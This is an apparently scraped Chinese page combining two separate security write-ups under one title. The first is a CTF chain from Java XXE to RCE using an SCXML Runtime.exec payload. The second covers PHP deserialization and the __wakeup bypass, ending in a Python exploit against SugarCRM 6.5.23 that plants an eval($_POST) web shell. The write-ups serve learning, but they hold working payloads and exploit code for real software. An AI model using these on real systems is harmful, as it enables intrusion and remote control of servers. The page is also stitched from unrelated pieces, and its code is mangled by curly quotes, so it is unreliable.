从xxe到rce-记一道ctf中的java题
Posted 为了嫖md编辑器到自己的博客
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了从xxe到rce-记一道ctf中的java题相关的知识,希望对你有一定的参考价值。
前言:
今天下午朋友在打比赛好像是什么数据安全的,闲着没事就要了道java题的源码,感觉挺有意思的。好像比赛结束了,就把wp写出来了
思路
给了个jar包,反编译看代码:
先看object那个路由,就是拼接下我们传进去的文件名,然后读取文件,获取文件的内容,然后进行xml解析。这里用的是 SCXMLReader , 它这里有个rce,poc如下:
可以看到上面的poc是用的 <script></script>,但是在check方法中被ban掉了:
去看文档,其实可以发现挺多的替代标签:
构造一个没有srcipt标签的poc:
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="wa1ki0g">
<state id="wa1ki0g">
<onentry>
<assign location="rce" expr="''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'open -a calculator')" />
</onentry>
</state>
</scxml>
本地打一下,可以rce的是:
现在poc有了,该如何将我们的poc写到目标环境里,因为代码里的file协议只能读自己本地的文件。
我们看xxe那个路由,传进去一个url,他会读取url页面的内容,然后当作xml进行解析,也没有过滤,妥妥的xml注入。但是这里读不到根目录的flag,并且根目录有个 /readflag 文件,估计作者的本意就是让rce吧。
java的xxe,可以利用jar协议写缓存文件到目标环境上,但是文件很快就会删除。这里可以用下别的师傅写的延长临时文件存在的一个脚本:
https://github.com/pwntester/BlockingServer
我们传到目标环境后,由于目标的缓存文件命名是无规范的,所以这里要用 xxe+ftp 去列目录,这个我要是没记错的话在小与等于java8的某个小版本下是可行的,在后续的版本是利用不了了,这有点忘了,感兴趣的师傅可以下去查下。
1. 开个http:
/tmp目录下的upload.txt文件:
2.构造一个poc.zip,然后利用BlockingServer进行上传:
3.利用xxe+ftp 列目录找文件,这里可以利用xxer.py:
4.成功找到文件
5.我们可以本地读一下这个缓存文件:
6. 最后利用objetc路由成功执行了我们的poc:
从一道CTF题学习PHP反序列化漏洞
一、CTF题目
前阵子,参加了一个CTF比赛,其中有一条道题蛮有意思的,所以写出来分享一下。
此题利用了PHP的反序列化漏洞,通过构造特殊的Payload绕过__wakeup()魔术方法,从而实现注入目的,废话不多说,主要源码如下:
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else die('Wrong filename.');
}}
function __wakeup(){ $this-> file='index.php'; }
public function __toString(){return '' ;}}
if (!isset($_GET['file'])){ show_source('index.php'); }
else{
$file=base64_decode( $_GET['file']);
echo unserialize($file ); }
?> #<!--key in flag.php-->
1、代码审计
审计代码,可以发现要得到KEY,思路如下:
1、源码最后提示,KEY在flag.php里面;
2、注意到__destruct魔术方法中,有这么一段代码,将file文件内容显示出来
show_source(dirname(FILE).’/‘.$this->file),这个是解题关键;
3、若POST“file”参数为序列化对象,且将file设为flag.php;那么可以通过unserialize反序列化,进而调用__destruct魔术方法来显示flag.php源码(要注意的是file参数内容需要经过base64编码);
4、上面的分析是多么美好,但从代码分析可以知道,还有__wakeup这个拦路虎,通过unserialize反序列化之后,也会调用__wakeup方法,它会把file设为index.php;
5、总结下来就是,想办法把file设为flag.php,调用__destruct方法,且绕过__wakeup。
2、PHP反序列化对象注入漏洞
上网查资料,发现原来这个CTF题目是根据PHP反序列化对象注入漏洞改编的。
简单来说,当序列化字符串中,表示对象属性个数的值大于实际属性个数时,那么就会跳过wakeup方法的执行。举个栗子,比如有个Student类,里面有个参数为name。
实际情况:O:7:”Student”:1:{S:4:”name”;s:8:”zhangsan”;}
Payload:O:7:”Student”:2:{S:4:”name”;s:8:”zhangsan”;}
Payload对象属性个数为2,而实际属性个数为1,那么就会掉入漏洞,从而跳过wakeup()方法。
3、CTF Payload
明确了这些之后,就可以构造出Payload了,需反序列化的对象为:
O:5:”SoFun”:2:{S:7:” 0* 0file”;s:8:”flag.php”;}
O:5:”SoFun” 指的是 类:5个字符:SoFun
:2: 指的是 有两个对象
S:7:” 0* 0file” 指的是有个属性,有7个字符,名为 0* 0file
s:8:”flag.php” 指的是属性值,有8个字符,值为flag.php
值得注意的是,file是protected属性,因此需要用 0* 0来表示, 0代表ascii为0的值。另外,还需要经过Base64编码,结果为:
Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
二、反序列魔术方法调试
题目虽然搞定了,但对于反序列化的几个魔术方法感觉掌握还是不够,于是决定写段简单的代码辅助理解。
1、构造类
class Student{
protected $name = 'Zhangsan';
public $sex = 'man';
function __wakeup(){
echo ' __wake is working'; echo '</br>';
echo 'I am:'.$this->name = 'zhangsan'; echo '</br>';}
function __destruct(){
echo '__destruct is working'; echo '</br>';
echo 'I am:'.$this->name; echo '</br>';}}
2、将对象序列化为字符串
$Zhangsan = new Student;
$saveData = serialize($Zhangsan); //序列化后的字符串,可以保存在数据库或者文本文件中。echo 'saveData is===>'.$saveData; echo '</br>';
3、正常反序列化情况
根据第一步得到的格式,构造Payload,可以发现__wakeup()方法正常运行,name仍然是zhangsan
4、异常反序列化情况
根据上面得到的格式,把属性个数改为3,构造Payload,可以发现已绕过__wakeup()方法,且__destruct方法将name置为我们想要的lisi。
三、漏洞原理分析
从CTF题目和上面魔术方法调试的例子可以看出,造成漏洞主要有两个问题:应用代码问题、底层PHP漏洞。
(一)应用代码反序列化漏洞产生条件
1、反序列化函数,传入参数可控,如上面那道CTF题目$file就是可控的;
2、__destruct()方法可利用,如CTF题目就是利用__destruct()方法中的show_source(),从而暴露源码;
3、以上两点没有对传参进行过滤,否则无法构成目的Payload。
(二)底层PHP漏洞
简单来说,如果对象属性检查异常,那么Purrase_nested_data()将会返回0,且不调用WAKEUP()方法,但是在这之前对象和它的属性已经被创建,紧接着对象将被破坏,从而执行DESTRUCT()函数,于是导致了漏洞。
四、SugarCRM PHP反序列化对象注入漏洞
查资料的过程中,发现PHP反序列化漏洞原来在SugarCRM上已经被应用过。
而SugarCRM是一款完全开放源代码的商业开源软件,拥有广泛的用户群体,可见此漏洞影响范围之大。
下面进行漏洞还原,顺便学习下了解底层漏洞之后,如何审计应用代码。
(一)环境搭建
根据报告,此漏洞影响的版本为:
SugarCRM <= 6.5.23 PHP5 < 5.6.25 PHP7 < 7.0.10
于是从sourceforge上下载SugarCRM 6.5.23,一顿安装之后,搭载在Wamp上即可使用。
下载链接:https://sourceforge.net/projects/sugarcrm/files/OldFiles/1%20-%20SugarCRM%206.5.X/SugarCommunityEdition-6.5.X/
而我的环境是:SugarCRM = 6.5.23; PHP = 5.3.10
(二)代码审计
为了方便审计代码,推荐用PhpStorm作为IDE,方便查阅。
明确三个条件
按照上面介绍,构成漏洞需满足三个条件:
1、反序列化函数,传入参数可控;
2、__destruct()方法可利用;
3、以上两点没有对传参进行过滤。
按照这三个条件,开始在SugarCRM上寻找目标。
寻找传入参数可控的反序列化函数
通过PhpStrom的查找功能,找到了这样的一个函数
$data = sugar_unserialize(from_html($data));
继续查看sugar_unserialize()函数定义,发现正则表达式虽然进行了过滤,但很容易被绕过
比如把o:32:改成o:+32:,就可以完成绕过(/i是忽略大小写的意思,在下图软件中通过打勾实现),从而把$value传入到unserialize()方法中实现反序列化。
可控的传入参数找到了,接下来就是找可利用的destruct()、wakeup()
通过PhpStrom的查找功能,发现在includeSugarCacheSugarCacheFile.php有我们刚才接触到的两个魔术方法__destruct()、__wakeup(),并且有如下发现:
1、wakeup()方法会清除对象属性,不过好在我们可以绕过;
2、destruct()方法似乎还能通过sugar_file_put_contents()上传文件,但前提是$this->_cacheChanged=true;
3、继续看sugar_file_put_contents()这个方法,可以通过$this->_cacheFileName、$this->_localStore 实现文件上传。其中:
$filename = sugar_cached($this->_cacheFileName);
$data = serialize($this->_localStore);
4、$_cacheFileName、$_cacheChanged都是protected属性参数,所以构造Payload时,需要在参数名前加 0* 0
5、以上两个条件均没有形成有效的过滤限制,所以构造Payload应该是可行的
(三)Python payload构造与菜刀连接
参考了大表哥p0wd3r的代码,POC代码如下:
import requests as req
url = ‘http://127.0.0.1/SugarCE-Full-6.5.23/service/v4/rest.php‘ data = {
‘method’: ‘login’,
‘input_type’: ‘Serialize’,
‘rest_data’:
‘O:+14:”SugarCacheFile”:23:{S:17:”0000_cacheFileName”;s:18:”../custom/eval.php”;S:16:”0000_cacheChanged”;b:1;S:14:”00*00_localStore”;a:1:{i:0;s:29:”<?php
eval($_POST[’CTF’]); ?>”;}}’,
}
req.post(url, data=data)
在/custom/目录下生成了一句话木马文件 eval.php,接着就可以上菜刀了。
五、参考文献
https://bugs.php.net/bug.php?id=72663
https://paper.seebug.org/39/
*文章首发于FreeBuf
以上是关于从xxe到rce-记一道ctf中的java题的主要内容,如果未能解决你的问题,请参考以下文章